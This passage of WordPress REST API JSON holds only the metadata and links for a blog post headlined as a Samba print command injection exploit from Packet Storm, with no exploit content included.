minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59349#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59349"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478","datePublished":"2026-06-02T13:39:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59349"},"wordCount":1791,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59349#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59349","url":"https:\/\/zero.redgem.net\/?p=59349","name":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-02T13:39:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59349#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59349"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59349#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59349","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59349"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59349\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59349"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59349"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59349"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}